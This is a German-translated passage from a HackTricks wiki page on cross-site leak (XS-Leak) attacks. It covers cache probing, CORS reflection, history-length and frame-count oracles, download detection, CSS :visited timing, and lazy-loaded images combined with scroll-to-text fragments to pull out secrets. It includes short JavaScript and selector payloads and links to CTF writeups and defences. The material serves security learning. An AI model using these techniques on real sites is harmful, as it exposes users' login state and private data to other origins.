Wenn eine Seite ein Bild nur lädt, wenn der Benutzer angemeldet ist, können Sie die Ressource ungültig machen (damit sie nicht mehr im Cache ist, wenn sie es war, siehe weitere Informationen-Links), eine Anfrage durchführen, die diese Ressource laden könnte, und versuchen, die Ressource mit einer fehlerhaften Anfrage zu laden (z. B. unter Verwendung eines überlangen Referrer-Headers). Wenn das Laden der Ressource keinen Fehler auslöst, liegt das daran, dass sie im Cache gespeichert ist.

CSP-Direktive

Ein neuartiges Feature in Google Chrome (GC) ermöglicht es Webseiten, eine Content Security Policy (CSP) vorzuschlagen, indem sie ein Attribut auf einem Iframe-Element setzen, wobei Richtliniendirektiven zusammen mit der HTTP-Anfrage übertragen werden. Normalerweise muss der eingebettete Inhalt dies über einen HTTP-Header autorisieren, oder es wird eine Fehlerseite angezeigt. Wenn das Iframe jedoch bereits von einer CSP geregelt wird und die neu vorgeschlagene Richtlinie nicht restriktiver ist, wird die Seite normal geladen. Dieser Mechanismus eröffnet einem Angreifer die Möglichkeit, spezifische CSP-Direktiven einer Website mit unterschiedlichem Ursprung zu erkennen, indem er die Fehlerseite identifiziert. Obwohl diese Schwachstelle als behoben markiert wurde, zeigen unsere Ergebnisse eine neue Lecktechnik, die in der Lage ist, die Fehlerseite zu erkennen, was darauf hindeutet, dass das zugrunde liegende Problem nie vollständig behoben wurde.

CORP

CORB

Überprüfen Sie den Link für weitere Informationen über den Angriff.

CORS-Fehler bei Fehlkonfiguration der Ursprungsreflexion

Falls der Ursprungsheader im Header Access-Control-Allow-Origin reflektiert wird, kann ein Angreifer dieses Verhalten ausnutzen, um zu versuchen, die Ressource im CORS-Modus abzurufen. Wenn kein Fehler ausgelöst wird, bedeutet dies, dass die Ressource korrekt aus dem Web abgerufen wurde. Wird ein Fehler ausgelöst, bedeutet dies, dass sie aus dem Cache abgerufen wurde (der Fehler tritt auf, weil der Cache eine Antwort mit einem CORS-Header speichert, der die ursprüngliche Domain und nicht die des Angreifers zulässt).
Beachten Sie, dass wenn der Ursprung nicht reflektiert wird, sondern ein Platzhalter verwendet wird (Access-Control-Allow-Origin: *), funktioniert dies nicht.

Technik der lesbaren Attribute

Fetch-Weiterleitung

Durch das Senden einer Anfrage mit der Fetch-API mit redirect: "manual" und anderen Parametern ist es möglich, das Attribut response.type zu lesen, und wenn es gleich opaqueredirect ist, war die Antwort eine Weiterleitung.

COOP

Ein Angreifer ist in der Lage, das Vorhandensein des Headers der Cross-Origin-Opener-Richtlinie (COOP) in einer Cross-Origin-HTTP-Antwort zu deduzieren. COOP wird von Webanwendungen verwendet, um externe Websites daran zu hindern, beliebige Fensterreferenzen zu erhalten. Die Sichtbarkeit dieses Headers kann durch den Versuch, auf die contentWindow-Referenz zuzugreifen, erkannt werden. In Szenarien, in denen COOP bedingt angewendet wird, wird die opener-Eigenschaft zu einem deutlichen Indikator: Sie ist undefiniert, wenn COOP aktiv ist, und definiert in seiner Abwesenheit.

URL-Maximallänge - Serverseite

Wenn eine serverseitige Umleitung Benutzereingaben innerhalb der Umleitung und zusätzliche Daten verwendet. Ist es möglich, dieses Verhalten zu erkennen, da Server normalerweise eine Begrenzung der Anforderungslänge haben. Wenn die Benutzerdaten diese Länge - 1 erreichen, weil die Umleitung diese Daten verwendet und etwas zusätzliches hinzufügt, wird ein Fehler über Ereignisse erkennbar ausgelöst.

Wenn es Ihnen gelingt, Cookies für einen Benutzer zu setzen, können Sie diesen Angriff auch ausführen, indem Sie genügend Cookies setzen (Cookie-Bombe), sodass mit der erhöhten Größe der Antwort ein Fehler ausgelöst wird. In diesem Fall denken Sie daran, dass, wenn Sie diese Anfrage von derselben Seite auslösen, <script> automatisch die Cookies sendet (damit Sie nach Fehlern suchen können).
Ein Beispiel für die Cookie-Bombe + XS-Search finden Sie in der beabsichtigten Lösung dieses Berichts: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None oder im gleichen Kontext zu sein, wird normalerweise für diese Art von Angriff benötigt.

URL-Maximallänge - Clientseite

Gemäß der Chromium-Dokumentation beträgt die maximale URL-Länge von Chrome 2 MB.

Im Allgemeinen gibt es auf der Webplattform keine Grenzen für die Länge von URLs (obwohl 2^31 eine häufige Grenze ist). Chrome begrenzt URLs aus praktischen Gründen auf eine maximale Länge von 2 MB, um Denial-of-Service-Probleme in der Interprozesskommunikation zu vermeiden.

Daher, wenn die umgeleitete URL in einem der Fälle größer ist, ist es möglich, sie mit einer URL größer als 2 MB umzuleiten, um die Längenbegrenzung zu erreichen. Wenn dies geschieht, zeigt Chrome eine about:blank#blocked-Seite an.

Der bemerkenswerte Unterschied besteht darin, dass wenn die Umleitung abgeschlossen wurde, window.origin einen Fehler wirft, da ein Cross-Origin nicht auf diese Informationen zugreifen kann. Wenn jedoch die Grenze erreicht wurde und die geladene Seite about:blank#blocked war, bleibt der origin des Fensters der des übergeordneten Elements, was eine zugängliche Information ist.

Alle zusätzlichen Informationen, die benötigt werden, um die 2 MB zu erreichen, können über einen Hash in der ursprünglichen URL hinzugefügt werden, sodass er in der Umleitung verwendet wird.

{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

Maximale Weiterleitungen

Wenn die maximale Anzahl von Weiterleitungen eines Browsers 20 beträgt, könnte ein Angreifer versuchen, seine Seite mit 19 Weiterleitungen zu laden und schließlich das Opfer zur getesteten Seite zu senden. Wenn ein Fehler ausgelöst wird, hat die Seite versucht, das Opfer weiterzuleiten.

Verlaufslänge

Die History-API ermöglicht es JavaScript-Code, den Browserverlauf zu manipulieren, der die vom Benutzer besuchten Seiten speichert. Ein Angreifer kann die Längeneigenschaft als Einschlussmethode verwenden, um JavaScript- und HTML-Navigation zu erkennen.
Überprüfen von history.length, indem ein Benutzer zu einer Seite navigiert, sie zurück zum selben Ursprung ändert und den neuen Wert von history.length überprüft.

Verlaufslänge mit gleicher URL

  • Einschlussmethoden: Frames, Pop-ups
  • Erkennbarer Unterschied: Wenn die URL mit der vermuteten übereinstimmt
  • Zusammenfassung: Es ist möglich zu erraten, ob sich der Ort eines Frames/Pop-ups in einer bestimmten URL befindet, indem die Verlaufslänge missbraucht wird.
  • Codebeispiel: Unten

Ein Angreifer könnte JavaScript-Code verwenden, um den Ort des Frames/Pop-ups auf eine vermutete URL zu manipulieren und ihn sofort auf about:blank ändern. Wenn die Verlaufslänge zunahm, bedeutet dies, dass die URL korrekt war und Zeit hatte, zuzunehmen, da die URL nicht neu geladen wird, wenn sie gleich ist. Wenn sie nicht zunahm, bedeutet dies, dass sie versucht hat, die vermutete URL zu laden, aber weil wir direkt danach about:blank geladen haben, nahm die Verlaufslänge nie zu, als die vermutete URL geladen wurde.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame-Zählung

Das Zählen der Anzahl von Frames in einer über iframe oder window.open geöffneten Webseite kann helfen, den Status des Benutzers auf dieser Seite zu identifizieren. Darüber hinaus kann das kontinuierliche Überprüfen der Anzahl von Frames, wenn die Seite immer die gleiche Anzahl von Frames hat, dazu beitragen, ein Muster zu identifizieren, das Informationen preisgeben könnte.

Ein Beispiel für diese Technik ist, dass in Chrome ein PDF durch Frame-Zählung erkannt werden kann, da intern ein embed verwendet wird. Es gibt Open URL-Parameter, die eine gewisse Kontrolle über den Inhalt ermöglichen, wie z.B. zoom, view, page, toolbar, wo diese Technik interessant sein könnte.

HTMLElemente

Informationen, die durch HTML-Elemente preisgegeben werden, sind ein Anliegen in der Websicherheit, insbesondere wenn dynamische Mediendateien basierend auf Benutzerinformationen generiert werden oder wenn Wasserzeichen hinzugefügt werden, die die Mediengröße verändern. Dies kann von Angreifern ausgenutzt werden, um zwischen möglichen Zuständen zu unterscheiden, indem die von bestimmten HTML-Elementen preisgegebenen Informationen analysiert werden.

Durch HTML-Elemente preisgegebene Informationen

  • HTMLMediaElement: Dieses Element zeigt die Dauer und die gepufferten Zeiten des Mediums an, die über seine API abgerufen werden können. Weitere Informationen zum HTMLMediaElement
  • HTMLVideoElement: Es zeigt videoHeight und videoWidth an. In einigen Browsern stehen zusätzliche Eigenschaften wie webkitVideoDecodedByteCount, webkitAudioDecodedByteCount und `webkitDecodedFrameCount zur Verfügung, die detailliertere Informationen über den Medieninhalt bieten. Weitere Informationen zum HTMLVideoElement
  • getVideoPlaybackQuality(): Diese Funktion liefert Details zur Video-Wiedergabequalität, einschließlich totalVideoFrames, die die Menge der verarbeiteten Videodaten anzeigen können. Weitere Informationen zu getVideoPlaybackQuality()
  • HTMLImageElement: Dieses Element gibt die Höhe und Breite eines Bildes preis. Wenn ein Bild ungültig ist, geben diese Eigenschaften 0 zurück, und die Funktion image.decode() wird abgelehnt, was auf das fehlerhafte Laden des Bildes hinweist. Weitere Informationen zum HTMLImageElement

CSS-Eigenschaft

Webanwendungen können das Website-Styling je nach Status des Benutzers ändern. Cross-Origin-CSS-Dateien können auf der Angreiferseite mit dem HTML-Link-Element eingebettet werden, und die Regeln werden auf die Angreiferseite angewendet. Wenn eine Seite diese Regeln dynamisch ändert, kann ein Angreifer diese Unterschiede je nach Benutzerstatus erkennen.
Als Lecktechnik kann der Angreifer die Methode window.getComputedStyle verwenden, um die CSS-Eigenschaften eines bestimmten HTML-Elements zu lesen. Dadurch kann ein Angreifer beliebige CSS-Eigenschaften lesen, wenn das betroffene Element und der Eigenschaftsname bekannt sind.

CSS-Verlauf

{% hint style="info" %} Laut diesem funktioniert dies nicht in headless Chrome. {% endhint %}

Der CSS-Selektor :visited wird verwendet, um URLs anders zu gestalten, wenn sie vom Benutzer zuvor besucht wurden. Früher konnte die Methode getComputedStyle() verwendet werden, um diese Stilunterschiede zu identifizieren. Moderne Browser haben jedoch Sicherheitsmaßnahmen implementiert, um zu verhindern, dass diese Methode den Zustand eines Links preisgibt. Dazu gehört das immerwährende Zurückgeben des berechneten Stils, als ob der Link besucht worden wäre, und die Beschränkung der Stile, die mit dem :visited-Selektor angewendet werden können.

Trotz dieser Einschränkungen ist es möglich, den besuchten Zustand eines Links indirekt zu erkennen. Eine Technik besteht darin, den Benutzer dazu zu bringen, mit einem von CSS betroffenen Bereich zu interagieren, insbesondere unter Verwendung der Eigenschaft mix-blend-mode. Diese Eigenschaft ermöglicht das Mischen von Elementen mit ihrem Hintergrund und kann den besuchten Zustand basierend auf der Benutzerinteraktion aufdecken.

Darüber hinaus kann die Erkennung ohne Benutzerinteraktion durch Ausnutzen der Renderzeiten von Links erreicht werden. Da Browser besuchte und nicht besuchte Links möglicherweise unterschiedlich rendern, kann dies einen messbaren Zeitunterschied in der Darstellung erzeugen. In einem Chromium-Bug-Bericht wurde ein Proof of Concept (PoC) erwähnt, der diese Technik unter Verwendung mehrerer Links zur Verstärkung des Zeitunterschieds demonstriert, wodurch der besuchte Zustand durch Timing-Analyse erkennbar wird.

Für weitere Details zu diesen Eigenschaften und Methoden besuchen Sie deren Dokumentationsseiten:

ContentDocument X-Frame Leak

In Chrome erscheint eine Fehlerseite, wenn eine Seite mit dem X-Frame-Options-Header auf "deny" oder "same-origin" eingebettet wird. Chrome gibt für das contentDocument-Eigenschaft dieses Objekts ein leeres Dokumentobjekt (anstelle von null) zurück, im Gegensatz zu iframes oder anderen Browsern. Angreifer könnten dies ausnutzen, indem sie das leere Dokument erkennen und möglicherweise Informationen über den Zustand des Benutzers preisgeben, insbesondere wenn Entwickler den X-Frame-Options-Header inkonsistent setzen und Fehlerseiten oft übersehen. Ein Bewusstsein und eine konsistente Anwendung von Sicherheitsheadern sind entscheidend, um solche Lecks zu verhindern.

Download-Erkennung

Der Content-Disposition-Header, speziell Content-Disposition: attachment, weist den Browser an, den Inhalt herunterzuladen, anstatt ihn inline anzuzeigen. Dieses Verhalten kann ausgenutzt werden, um festzustellen, ob ein Benutzer Zugriff auf eine Seite hat, die einen Dateidownload auslöst. In Chromium-basierten Browsern gibt es einige Techniken, um dieses Download-Verhalten zu erkennen:

  1. Überwachung der Download-Leiste:
  • Wenn eine Datei in Chromium-basierten Browsern heruntergeladen wird, erscheint am unteren Rand des Browserfensters eine Download-Leiste.
  • Durch Überwachung von Änderungen in der Fensterhöhe können Angreifer auf das Erscheinen der Download-Leiste schließen, was darauf hindeutet, dass ein Download initiiert wurde.
  1. Download-Navigation mit Iframes:
  • Wenn eine Seite einen Dateidownload mit dem Content-Disposition: attachment-Header auslöst, führt dies nicht zu einem Navigationsereignis.
  • Durch Laden des Inhalts in einem iframe und Überwachung von Navigationsereignissen ist es möglich zu überprüfen, ob die Inhaltsdisposition einen Dateidownload verursacht (keine Navigation) oder nicht.
  1. Download-Navigation ohne Iframes:
  • Ähnlich wie bei der iframe-Technik beinhaltet diese Methode die Verwendung von window.open anstelle eines iframes.
  • Durch Überwachung von Navigationsereignissen im neu geöffneten Fenster kann festgestellt werden, ob ein Dateidownload ausgelöst wurde (keine Navigation) oder ob der Inhalt inline angezeigt wird (Navigation erfolgt).

In Szenarien, in denen nur eingeloggte Benutzer solche Downloads auslösen können, können diese Techniken verwendet werden, um indirekt auf den Authentifizierungszustand des Benutzers basierend auf der Reaktion des Browsers auf die Download-Anfrage zu schließen.

Partitionierter HTTP-Cache-Bypass

{% hint style="warning" %} Deshalb ist diese Technik interessant: Chrome hat jetzt Cache-Partitionierung, und der Cache-Schlüssel der neu geöffneten Seite lautet: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx), aber wenn ich eine ngrok-Seite öffne und darin fetch verwende, wird der Cache-Schlüssel sein: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), der Cache-Schlüssel ist unterschiedlich, daher kann der Cache nicht geteilt werden. Weitere Details finden Sie hier: Sicherheit und Datenschutz durch Cache-Partitionierung gewinnen
(Kommentar von hier) {% endhint %}

Wenn eine Seite example.com eine Ressource von *.example.com/resource einbindet, wird diese Ressource denselben Cachingschlüssel haben, als ob die Ressource direkt über eine Top-Level-Navigation angefordert worden wäre. Das liegt daran, dass der Cachingschlüssel aus dem Top-Level eTLD+1 und dem Frame eTLD+1 besteht.

Da der Zugriff auf den Cache schneller ist als das Laden einer Ressource, ist es möglich, zu versuchen, den Ort einer Seite zu ändern und ihn 20 ms (zum Beispiel) später abzubrechen. Wenn sich der Ursprung nach dem Abbruch geändert hat, bedeutet dies, dass die Ressource im Cache war.
Oder man könnte einfach ein fetch an die potenziell gecachte Seite senden und die Zeit messen, die es dauert.

Manuelle Weiterleitung

Fetch mit AbortController

Verwenden Sie fetch und setTimeout mit einem AbortController, um sowohl festzustellen, ob die Ressource im Cache ist, als auch eine bestimmte Ressource aus dem Browsercache zu entfernen. Darüber hinaus erfolgt der Prozess ohne Zwischenspeichern neuer Inhalte.

Skript-Verschmutzung

Service Workers

In dem gegebenen Szenario ergreift der Angreifer die Initiative, um einen Service Worker in einer seiner Domains, speziell "attacker.com", zu registrieren. Als nächstes öffnet der Angreifer ein neues Fenster auf der Zielwebsite vom Hauptdokument aus und weist den Service Worker an, einen Timer zu starten. Wenn das neue Fenster zu laden beginnt, navigiert der Angreifer auf die Seite, die vom Service Worker verwaltet wird, über den in Schritt zwei erhaltenen Verweis.

Bei Ankunft der Anfrage, die im vorherigen Schritt initiiert wurde, antwortet der Service Worker mit einem Statuscode 204 (Kein Inhalt), wodurch der Navigationsprozess effektiv beendet wird. Zu diesem Zeitpunkt erfasst der Service Worker eine Messung des zuvor in Schritt zwei gestarteten Timers. Diese Messung wird durch die Dauer von JavaScript beeinflusst, die Verzögerungen im Navigationsprozess verursacht.

{% hint style="warning" %} Bei einer Ausführungszeit ist es möglich, Netzfaktoren zu eliminieren, um genauere Messungen zu erhalten. Zum Beispiel, indem die Ressourcen, die von der Seite verwendet werden, vor dem Laden der Seite geladen werden. {% endhint %}

Fetch-Zeitmessung

Cross-Window-Zeitmessung


Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden.
Heute noch Zugriff erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Mit HTML oder Re-Injektion

Hier finden Sie Techniken zum Exfiltrieren von Informationen aus einem Cross-Origin-HTML, indem Sie HTML-Inhalte einfügen. Diese Techniken sind interessant in Fällen, in denen Sie aus irgendeinem Grund HTML einfügen können, aber keinen JS-Code einfügen können.

Hängende Markup

{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

Lazy Loading von Bildern

Wenn Sie Inhalte exfiltrieren müssen und HTML vor dem Geheimnis hinzufügen können, sollten Sie die üblichen hängenden Markup-Techniken überprüfen.
Wenn Sie jedoch aus irgendeinem Grund Buchstabe für Buchstabe vorgehen müssen (vielleicht erfolgt die Kommunikation über einen Cache-Treffer), können Sie diesen Trick verwenden.

Bilder in HTML haben ein "loading"-Attribut, dessen Wert "lazy" sein kann. In diesem Fall wird das Bild geladen, wenn es angezeigt wird, und nicht während das Seite geladen wird:

<img src=/something loading=lazy >

Daher können Sie eine Menge Junk-Zeichen hinzufügen (zum Beispiel Tausende von "W"s), um die Webseite zu füllen, bevor das Geheimnis hinzugefügt wird oder etwas wie <br><canvas height="1850px"></canvas><br> einzufügen.
Dann, wenn zum Beispiel unsere Injection vor der Flagge erscheint, wird das Bild geladen, aber wenn es nach der Flagge erscheint, wird die Flagge + der Junk verhindern, dass es geladen wird (Sie müssen mit der Menge des einzufügenden Junks spielen). Dies ist in diesem Writeup passiert.

Eine andere Option wäre die Verwendung des scroll-to-text-fragment, sofern erlaubt:

Scroll-to-text-fragment

Jedoch lassen Sie den Bot auf die Seite zugreifen mit etwas wie

#:~:text=SECR

So wird die Webseite aussehen: https://victim.com/post.html#:~:text=SECR

Wo post.html die Angreifer-Junk-Zeichen und das Lazy-Load-Bild enthält und dann das Geheimnis des Bots hinzugefügt wird.

Was dieser Text tun wird, ist, den Bot auf jeden Text auf der Seite zugreifen zu lassen, der den Text SECR enthält. Da dieser Text das Geheimnis ist und direkt unter dem Bild liegt, wird das Bild nur geladen, wenn das geratene Geheimnis korrekt ist. So haben Sie Ihr Orakel, um das Geheimnis Zeichen für Zeichen auszuleiten.

Einige Codebeispiele zur Ausnutzung dieses: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Zeitbasiertes Lazy Loading von Bildern

Wenn es nicht möglich ist, ein externes Bild zu laden, das dem Angreifer anzeigen könnte, dass das Bild geladen wurde, wäre eine andere Option, zu versuchen, das Zeichen mehrmals zu erraten und das zu messen. Wenn das Bild geladen wird, dauern alle Anfragen länger als wenn das Bild nicht geladen wird. Dies ist das, was in der Lösung dieses Writeups zusammengefasst wurde:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

Wenn jQuery(location.hash) verwendet wird, ist es möglich, über die Zeit festzustellen, ob bestimmter HTML-Inhalt vorhanden ist, dies liegt daran, dass, wenn der Selektor main[id='site-main'] nicht übereinstimmt, der Rest der Selektoren nicht überprüft werden müssen:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

Verteidigungen

Es gibt empfohlene Maßnahmen in https://xsinator.com/paper.pdf sowie in jedem Abschnitt des Wikis https://xsleaks.dev/. Schauen Sie dort nach weiteren Informationen darüber, wie man sich gegen diese Techniken schützen kann.

Referenzen

Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:


Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, unterstützt von den weltweit fortschrittlichsten Community-Tools.
Heute Zugriff erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}